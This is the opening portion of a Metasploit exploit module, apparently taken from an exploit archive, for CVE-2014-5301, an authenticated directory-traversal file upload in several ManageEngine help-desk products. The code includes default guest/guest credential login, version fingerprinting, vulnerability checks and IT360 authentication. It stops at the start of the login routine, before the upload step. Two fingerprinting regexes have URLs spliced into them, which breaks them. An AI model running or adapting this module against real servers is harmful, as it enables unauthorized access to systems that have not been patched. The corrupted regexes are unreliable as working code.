ManageEngine (Multiple Products) – (Authenticated) Arbitrary File Upload (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'ManageEngine Multiple Products Authenticated File Upload', 'Description' => %q{ This module exploits a directory traversal vulnerability in ManageEngine ServiceDesk, AssetExplorer, SupportCenter and IT360 when uploading attachment files. The JSP that accepts the upload does not handle correctly '../' sequences, which can be abused to write in the file system. Authentication is needed to exploit this vulnerability, but this module will attempt to login using the default credentials for the administrator and guest accounts. Alternatively you can provide a pre-authenticated cookie or a username / password combo. For IT360 targets enter the RPORT of the ServiceDesk instance (usually 8400). All versions of ServiceDesk prior v9 build 9031 (including MSP but excluding v4), AssetExplorer, SupportCenter and IT360 (including MSP) are vulnerable. At the time of release of this module, only ServiceDesk v9 has been fixed in build 9031 and above. This module has been been tested successfully in Windows and Linux on several versions. }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability Discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2014-5301'], ['OSVDB', '116733'], ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_sd_file_upload.txt'], ['URL', 'http://seclists.org/fulldisclosure/2015/Jan/5'] ], 'DefaultOptions' => { 'WfsDelay' => 30 }, 'Privileged' => false, # Privileged on Windows but not on Linux targets 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'Automatic', { } ], [ 'ServiceDesk Plus v5-v7.1 < b7016/AssetExplorer v4/SupportCenter v5-v7.9', { 'attachment_path' => '/workorder/Attachment.jsp' } ], [ 'ServiceDesk Plus/Plus MSP v7.1 >= b7016 - v9.0 < b9031/AssetExplorer v5-v6.1', { 'attachment_path' => '/common/FileAttachment.jsp' } ], [ 'IT360 v8-v10.4', { 'attachment_path' => '/common/FileAttachment.jsp' } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 15 2014')) register_options( [ Opt::RPORT(8080), OptString.new('JSESSIONID', [false, 'Pre-authenticated JSESSIONID cookie (non-IT360 targets)']), OptString.new('IAMAGENTTICKET', [false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']), OptString.new('USERNAME', [true, 'The username to login as', 'guest']), OptString.new('PASSWORD', [true, 'Password for the specified username', 'guest']), OptString.new('DOMAIN_NAME', [false, 'Name of the domain to logon to']) ], self.class) end def get_version res = send_request_cgi({ 'uri' => '/', 'method' => 'GET' }) # Major version, minor version, build and product (sd = servicedesk; ae = assetexplorer; sc = supportcenterl; it = it360) version = [ 9999, 9999, 0, 'sd' ] if res && res.code == 200 if res.body.to_s =~ /ManageEngine ServiceDesk/ if res.body.to_s =~ / \| ([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)/ output = $1 version = [output[0].to_i, output[2].to_i, '0', 'sd'] end if res.body.to_s =~ /src='https://www.exploit-db.com/exploits/35845/\/scripts\/Login\.js\?([0-9]+)'><\/script>/ # newer builds version[2] = $1.to_i elsif res.body.to_s =~ /'\/style\/style\.css', '([0-9]+)'\);<\/script>/ # older builds version[2] = $1.to_i end elsif res.body.to_s =~ /ManageEngine AssetExplorer/ if res.body.to_s =~ /ManageEngine AssetExplorer ([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)/ || res.body.to_s =~ /<div class="login-versioninfo">version ([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)<\/div>/ output = $1 version = [output[0].to_i, output[2].to_i, 0, 'ae'] end if res.body.to_s =~ /src="https://www.exploit-db.com/exploits/35845/\/scripts\/ClientLogger\.js\?([0-9]+)"><\/script>/ version[2] = $1.to_i end elsif res.body.to_s =~ /ManageEngine SupportCenter Plus/ # All of the vulnerable sc installations are "old style", so we don't care about the major / minor version version[3] = 'sc' if res.body.to_s =~ /'\/style\/style\.css', '([0-9]+)'\);<\/script>/ # ... but get the build number if we can find it version[2] = $1.to_i end elsif res.body.to_s =~ /\/console\/ConsoleMain\.cc/ # IT360 newer versions version[3] = 'it' end elsif res && res.code == 302 && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})/ # IT360 older versions, not a very good detection string but there is no alternative? version[3] = 'it' end version end def check version = get_version # TODO: put fixed version on the two ifs below once (if...) products are fixed # sd was fixed on build 9031 # ae and sc still not fixed if (version[0] <= 9 && version[0] > 4 && version[2] < 9031 && version[3] == 'sd') || (version[0] <= 6 && version[2] < 99999 && version[3] == 'ae') || (version[3] == 'sc' && version[2] < 99999) return Exploit::CheckCode::Appears end if (version[2] > 9030 && version[3] == 'sd') || (version[2] > 99999 && version[3] == 'ae') || (version[2] > 99999 && version[3] == 'sc') return Exploit::CheckCode::Safe else # An IT360 check always lands here, there is no way to get the version easily return Exploit::CheckCode::Unknown end end def authenticate_it360(port, path, username, password) if datastore['DOMAIN_NAME'] == nil vars_post = { 'LOGIN_ID' => username, 'PASSWORD' => password, 'isADEnabled' => 'false' } else vars_post = { 'LOGIN_ID' => username, 'PASSWORD' => password, 'isADEnabled' => 'true', 'domainName' => datastore['DOMAIN_NAME'] } end res = send_request_cgi({ 'rport' => port, 'method' => 'POST', 'uri' => normalize_uri(path), 'vars_get' => { 'service' => 'ServiceDesk', 'furl' => '/', 'timestamp' => Time.now.to_i }, 'vars_post' => vars_post }) if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ # /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed" return res.get_cookies else return nil end end def get_it360_cookie_name res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri("/") }) cookie = res.get_cookies if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/ return $1 else return nil end end def login_it360 # Do we already have a valid cookie?
